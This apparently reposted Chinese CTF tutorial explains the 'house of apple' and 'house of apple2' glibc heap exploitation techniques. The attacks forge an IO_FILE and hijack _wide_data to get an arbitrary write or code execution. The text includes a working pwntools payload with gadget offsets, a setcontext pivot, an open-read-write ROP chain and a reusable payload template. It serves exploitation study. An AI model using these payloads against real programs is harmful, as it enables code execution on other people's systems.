house of apple

简介

这是一个高版本的堆攻击IO的方式,在删除了__malloc_hook__free_hook之后可以进行攻击的方式
文章来源:https://bbs.kanxue.com/thread-273418.htm 侵删

以下来自house of apple作者:

之前很多师傅都提出了一些优秀的攻击方法,比如house of pighouse of kiwihouse of emma等。

其中,house of pig除了需要劫持IO_FILE结构体,还需要劫持tcache_perthread_struct结构体或者能控制任意地址分配;house of kiwi则至少需要修改三个地方的值:_IO_helper_jumps + 0xA0_IO_helper_jumps + 0xA8,另外还要劫持_IO_file_jumps + 0x60处的_IO_file_sync指针;而house of emma则至少需要修改两个地方的值,一个是tls结构体的point_guard(或者想办法泄露出来),另外需要伪造一个IO_FILE或替换vtablexxx_cookie_jumps的地址。

总的来看,如果想使用上述方法成功地攻击IO,至少需要两次写或者一次写和一次任意地址读。而在只给一次任意地址写(如一次largebin attack)的情景下是很难利用成功的。

利用条件

  1. 可以从main返回或者调用exit函数
  2. 能泄露heaplibc地址
  3. 能使用一次largebin attack

思想

利用largebin attack可以修改一个指针指向堆上地址,所以可以使用这种方式将_IO_list_all变量改向堆,从而可以伪造IO_file结构体。

对于IO_FILE结构体,如下:

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data; // 劫持这个变量
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

其中的排列是这样的:

amd64:
 
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

我们需要伪造的就是_wide_data变量,因为有些调用会控制这个变量,比如_IO_wstrn_overflow函数(会在exit中调用):

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  /* When we come to here this means the user supplied buffer is
     filled.  But since we must return the number of characters which
     would have been written in total we must provide a buffer for
     further use.  We can do this by writing on and on in the overflow
     buffer in the _IO_wstrnfile structure.  */
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
 
  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
         snf->overflow_buf + (sizeof (snf->overflow_buf)
                      / sizeof (wchar_t)), 0);
 
      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
                      + (sizeof (snf->overflow_buf)
                     / sizeof (wchar_t)));
    }
 
  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;
 
  /* Since we are not really interested in storing the characters
     which do not fit in the buffer we simply ignore it.  */
  return c;
}

可以看到,它会把snf->overflow_buf的值赋值给好多好多地方,这就能让我们做到任意地址写已知地址。其中overflow_buf相对于本身IO_FILE指针的偏移是0xf0/0x1f0,就在vtable的后面,而IO_wide_data这个结构体是这样的:

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;   /* Start of putback+get area. */
  wchar_t *_IO_write_base;  /* Start of put area. */
  wchar_t *_IO_write_ptr;   /* Current put pointer. */
  wchar_t *_IO_write_end;   /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;     /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;   /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base; /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

所以通过这个方式,如果能拥有在堆上伪造一个_IO_FILE的能力,假设其地址为A,而后将A+0xd8替换为_IO_wstrn_jumps的地址,将A+0xc0设置为B,并且修改其他成员以便能调用_IO_OVERFLOW、则在调用exit函数之后会一路调用到_IO_wstrn_overflow函数,将B:B+0x38的地址全部替换为A+0xf0或者A+0x1f0

即:house of apple可以将任意地址空间上的值修改为一个已知地址

house of apple2

这是高版本glibc最常用的攻击方式,它的能力是可以进行一次任意地址执行。

当然,它很明显是和之前说的house of apple一脉相承的,依旧是widedata的利用。

上面讲的house of apple 1的能力具体是实现一次任意地址写,但是house of apple 2主要是任意地址执行。

想法

观察源码可知,虽然在2.24之后就针对vtable进行检查了,但是其实还有漏网之鱼:_wide_data的vtable是没有任何检查的,所以该攻击方式的想法就是针对这个进行攻击。

于是我们需要进行一系列的操作:

  • 控制IO_list_all的vtable为_IO_wfile_jumps
  • 控制_wide_data为可控堆地址
  • 控制_wide_data->_wide_vtable为可控堆地址
  • 进行调用,从而使得执行某个函数

这里师傅给出了三个可控函数:

  • _IO_wfile_overflow
  • _IO_wfile_underflow_mmap
  • _IO_wdefault_xsgetn

最常用的链子是第一条:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

所以针对这一条链,我们需要构造堆地址成这样:

  • _IO_list_all布置为某堆地址fp
  • _wide_data设置为可控堆地址A,即*(fp+0xa0)=A
  • _wide_data->_IO_write_base设置为0,即*(A+0x18)=0
  • _wide_data->_IO_buf_base设置为0,即*(A+0x30)=0
  • _wide_data->_wide_vtable设置为可控堆地址B,即*(A+0xe0)=B
  • _wide_data->_wide_vtable->doallocate设置为想要执行的地址C,即*(B + 0x68) = C,该函数位置为_IO_wdoallocbuf+43

于是一种合适的堆构造方式就是(带了orw):

target_addr = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_lock = libc_base + 0x1f5720
magic_gadget = libc_base + 0x146020
'''
mov rdx, qword ptr [rdi+8]
mov qword ptr [rsp],rax
call qword ptr [rdx+0x20]
'''
leave_ret = libc_base + 0x52d72
magic = libc_base + libc.sym['svcudp_reply'] + 26
'''
mov    rbp,QWORD PTR [rdi+0x48]
mov    rax,QWORD PTR [rbp+0x18]
lea    r13,[rbp+0x10]
mov    DWORD PTR [rbp+0x10],0x0
mov    rdi,r13
call   QWORD PTR [rax+0x28]
'''
setcontext = libc_base + libc.sym['setcontext']
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_r12_ret = libc_base + 0x1066e1
pop_rax_ret = libc_base + 0x446c0
ret = pop_rdi_ret + 1
syscall_ret = libc_base + 0x883b6


f1 = IO_FILE_plus_struct()
f1.flags = 0
# f1._IO_save_base = p64(heap_base+0x1a00)# rdi+0x48
# f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

data = flat({
    0: bytes(f1),
    0xe0: {# _wide_data->_wide_vtable   rax here
                0x18: 0, # f->_wide_data->_IO_write_base
                0x30: 0, # f->_wide_data->_IO_buf_base
                0xe0: fake_IO_FILE+0x200, # f->_wide_data->_wide_vtable
                # 0x110:0x20    # heap_base +0x1a00, rdx
            },
    0x200: {
                0x0:heap_base+0x1d00,   # rbp+0x10, r13, rdi      
                0x8:heap_base+0x1a00,   # rbp+0x18, rax
                0x10:setcontext+61,     # call qword ptr [rdx+0x20]
                0x18:magic_gadget,  # call qword ptr [rax+0x28]
                0x68: magic,# _IO_wdoallocbuf+40
                0x90:heap_base+0x1d10, # rdx+0xa0, rsp
                0x98:ret                # rdx+0xa8, rip
            },
    0x500:[
                pop_rax_ret,
                2,
                pop_rdi_ret,
                heap_base + 0x1b20,
                pop_rsi_ret,
                0,
                syscall_ret,

                pop_rax_ret,
                0,
                pop_rdi_ret,
                3,
                pop_rsi_ret,
                heap_base+0x500,
                pop_rdx_r12_ret,
                0x40,
                0,
                syscall_ret,

                pop_rax_ret,
                1,
                pop_rdi_ret,
                1,
                pop_rsi_ret,
                heap_base + 0x500,
                pop_rdx_r12_ret,
                0x40,
                0,
                syscall_ret
            ]
        },
})

这里是2.34和2.35的不同,因为一个版本中传值是直接给rdx而另一个是给rdi的,通过一个gadget控制rdi来控制rdx是不可行的,所以这边是一种改进的思路。

可以看到,*(B+0x68)是magic的地址,于是会执行上述过程,因为这时候rdi会在现在指的这个fake_io的位置,所以需要修改f1._IO_save_base = p64(fake_io+0x1f0)# rdi+0x48,于是rax即变成fake_io+0x200+0x8,rdi变成fake_io+0x200,并且会callrax+0x28所以这里fake_io+0x200+0x8的值可以也布置成p64(fake_io+0x1f0),即callfake_io+0x200+0x18。通过这个操作,我们将rdi换了个地方,它将会在fake_io+0x200的位置。

然后执行magic_gadget给rdx赋值:会将rdx赋值到[rdi+8],即之前的rax的内容,而之前rax位置的值是p64(fake_io+0x1f0),所以在call的时候就会执行fake_io+0x200+0x10的位置的内容,即setcontext+61,并且这时候rdx也被控制为p64(fake_io+0x1f0).

于是呼,只需要控制rsp和rip就行了,从而可以执行预定的orw。

更新一个house of apple2在2.35下的通用模板:

def apple2(libc_base,libc,heap_addr,target):
    wfile = libc_base + libc.sym['_IO_wfile_jumps']
    p = flat([{
        0x18: 1, # _IO_write_ptr
        0x90: heap_addr + 0xe0, # _wide_data
        0xc8: wfile, # vtable
        0xd0 + 0xe0: heap_addr + 0xe0 + 0xe8,  # _wide_data->_wide_vtable
        0xd0 + 0xe8 + 0x68: target, # _wide_data->_wide_vtable->doallocate

    }],filler=b'\x00')
    return p